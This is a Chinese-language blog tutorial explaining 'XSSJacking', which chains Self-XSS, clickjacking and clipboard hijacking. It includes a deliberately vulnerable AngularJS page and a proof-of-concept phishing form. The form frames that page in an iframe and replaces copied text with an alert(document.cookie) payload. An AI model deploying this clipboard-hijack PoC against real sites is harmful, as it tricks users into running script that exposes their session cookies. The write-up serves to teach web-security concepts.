0x00 参考

主要是参考学习了这篇文章的姿势:一种结合了点击劫持、Self-XSS、复制粘贴劫持的新型XSS攻击

0x01 XSSJacking

简介

XSSJacking即XSS劫持,是一种另类的XSS利用方式。具体的说,就是结合Self-XSS、ClickJacking、复制粘贴劫持等漏洞进行组合利用,提高Self-XSS漏洞危害程序。

Self-XSS(自跨站脚本攻击)是一种由受害者自己输入XSS payload触发才能成功的XSS攻击行为,这种攻击可基于DOM,或是建立在仅该用户可操作或可见的域。

ClickJacking即点击劫持,是指在一个Web页面下隐藏了一个透明的iframe(opacity:0),用外层假页面诱导用户点击,实际上是在隐藏的frame上触发了点击事件进行一些用户不知情的操作。通常是因为目标服务器未设置X-Frame-Options头或未安全设置该头导致存在ClickJacking漏洞的。

复制粘贴劫持,就是在诱使用户进行复制粘贴操作时,会进行一些恶意的操作。

利用场景

目标站点某个页面存在Self-XSS,并且目标站点存在ClickJacking漏洞,此时这种攻击就能派上用场了。

目标站点存在Self-XSS

xssjacking.html,存在Self-XSS的页面,需要引入angular.min.js和main.js,主要是有一个文本输入框,其中ng-change指令的作用是当输入框的值改变时执行函数,ng-model指令可以将输入域的值与 AngularJS 创建的变量绑定。:

1
2
3
4
5
6
7
8
9
10
11
<html>
<head>
<script src="angular.min.js"></script>
<script src="main.js"></script>
</head>
<body ng-app="xssApp" ng-controller="mainController">
<h1> </h1>
<textarea placeholer="Vulnerable to XSS" ng-model="textArea" ng-change="checkForAlert(textArea)" style="height:100%; width:100%;">
</textarea>
</body>
</html>

main.js代码如下,模拟的输入<script>alert(document.cookie)</script>即可X自己,这里需要AngularJS的支持:

1
2
3
4
5
6
7
8
var redisApp = angular.module('xssApp', []);
redisApp.controller('mainController', ['$scope', function($scope) {
$scope.checkForAlert = function(text){
if(text == "<script>alert(document.cookie)</script>"){
alert(document.cookie);
}
}
}]);

这个页面就是个文本输入界面,当用户自己输入XSS payload时就会弹框:

目标站点存在ClickJacking

我们查看响应,发现目标站点并未设置X-Frame-Options头,即存在ClickJacking漏洞:

接着,攻击者可以编写如下PoC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<html>
<head>
</head>
<body>
Enter your email below to register:
</br>
<textarea autofocus style="width:220px; height:35px;"></textarea>
</br>
Repeat your email:
</br>
<iframe style="width:230px; height:50px;" frameBorder="0" src="xssjacking.html"></iframe>
</br>
<input type="submit"></input>
<script>
document.addEventListener('copy', function(e){
console.log(e);
//
e.clipboardData.setData('text/plain', '\x3cscript\x3ealert(document.cookie)\x3c/script\x3e');
e.preventDefault(); // We want our data, not data from any selection, to be written to the clipboard
});
</script>
</body>
</html>

简单地说,该恶意页面表面是输入邮箱和验证邮箱的表单,实际是通过iframe标签引入隐藏的页面即存在Self-XSS漏洞的页面,其中页面通过JS实现复制粘贴劫持攻击,当用户在该页面进行粘贴操作时其中的内容就会被替换为Self-XSS的payload,也就是说实际上是在Self-XSS页面中输入了XSS payload。

比如,已在目标站点登录获得cookie的用户被诱使访问了该恶意页面,输入邮箱之后,当再次输入验证邮箱时,用户通常会直接对前面输入的邮箱进行复制然后粘贴到下面验证的输入框中,此时就会触发Self-XSS弹框:

至此,攻击者就能通过钓鱼的手段结合ClickJacking、Self-XSS和复制粘贴劫持等漏洞实现窃取受害者的cookie等敏感信息。

小结

个人觉得就是利用ClickJacking和复制粘贴实现Self-XSS的利用,扩大Self-XSS的危害程序,使其和常规的XSS一样存在高风险。